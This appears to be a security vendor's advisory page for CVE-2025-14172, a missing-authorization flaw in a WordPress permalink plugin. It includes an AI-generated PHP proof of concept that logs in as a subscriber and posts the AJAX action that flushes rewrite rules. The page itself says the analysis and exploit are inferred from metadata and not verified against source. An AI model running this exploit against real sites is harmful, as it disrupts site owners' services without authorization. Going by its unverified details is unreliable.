Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14172: WP Page Permalink Extension <= 1.5.4 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Rewrite Rules Flush (change-wp-page-permalinks)

Severity Medium (CVSS 6.5)
CWE 862
Vulnerable Version 1.5.4
Patched Version
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14172 (metadata-based):
The WP Page Permalink Extension plugin contains a missing authorization vulnerability in its AJAX handler. This flaw allows authenticated users with Subscriber-level permissions or higher to trigger a rewrite rules flush operation. The vulnerability exists in all plugin versions up to and including 1.5.4.

Atomic Edge research indicates the root cause is an AJAX callback function named `cwpp_trigger_flush_rewrite_rules` that lacks proper capability checks. The CWE-862 classification confirms missing authorization controls. Based on WordPress plugin patterns, the function is likely registered via `wp_ajax_cwpp_trigger_flush_rewrite_rules` hook without verifying the user has administrative privileges. This conclusion is inferred from the CWE classification and vulnerability description, as no source code diff is available for verification.

Exploitation requires an authenticated WordPress session with any valid user role. Attackers send a POST request to the standard WordPress AJAX endpoint with the action parameter set to `cwpp_trigger_flush_rewrite_rules`. The request must include a valid WordPress nonce if the plugin implements nonce verification, though the vulnerability description suggests authorization checks are the primary missing control. The payload structure follows standard WordPress AJAX patterns: `action=cwpp_trigger_flush_rewrite_rules`.

The fix requires adding proper capability checks before executing the rewrite rules flush operation. Developers should implement `current_user_can()` with appropriate capability such as `manage_options` or a custom capability reserved for administrators. The AJAX handler should verify the user has permission to modify permalink settings before processing the request. WordPress best practices also recommend nonce verification for state-changing operations.

Successful exploitation disrupts site functionality by flushing rewrite rules. This action can break existing URL structures, cause 404 errors on previously working pages, and temporarily impact site performance during rule regeneration. While not directly enabling data exposure or privilege escalation, the attack creates denial-of-service conditions and requires administrative intervention to restore proper permalink functionality.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14172 - WP Page Permalink Extension <= 1.5.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Rewrite Rules Flush

<?php
/**
 * Proof of Concept for CVE-2025-14172
 * Assumptions:
 * 1. The plugin uses standard WordPress AJAX endpoint
 * 2. The action parameter is 'cwpp_trigger_flush_rewrite_rules'
 * 3. No capability checks exist in the vulnerable version
 * 4. Nonce verification may or may not be required
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Initialize cURL session for authentication
$ch = curl_init();

// First, authenticate to WordPress to obtain cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);

// Check if authentication succeeded
if (strpos($response, 'Dashboard') === false && strpos($response, 'admin-ajax.php') === false) {
    die('Authentication failed. Check credentials.');
}

// Now send the exploit payload to trigger rewrite rules flush
$exploit_data = array(
    'action' => 'cwpp_trigger_flush_rewrite_rules'
);

// Some WordPress AJAX handlers may expect nonce parameter
// Attempt without nonce first, as vulnerability suggests missing authorization
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));

$exploit_response = curl_exec($ch);
curl_close($ch);

// Analyze response
if ($exploit_response === false) {
    echo 'Request failed.';
} else {
    echo 'Response received: ' . htmlspecialchars(substr($exploit_response, 0, 500)) . 'n';
    echo 'Check if rewrite rules were flushed by visiting site pages.';
}

// Clean up
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School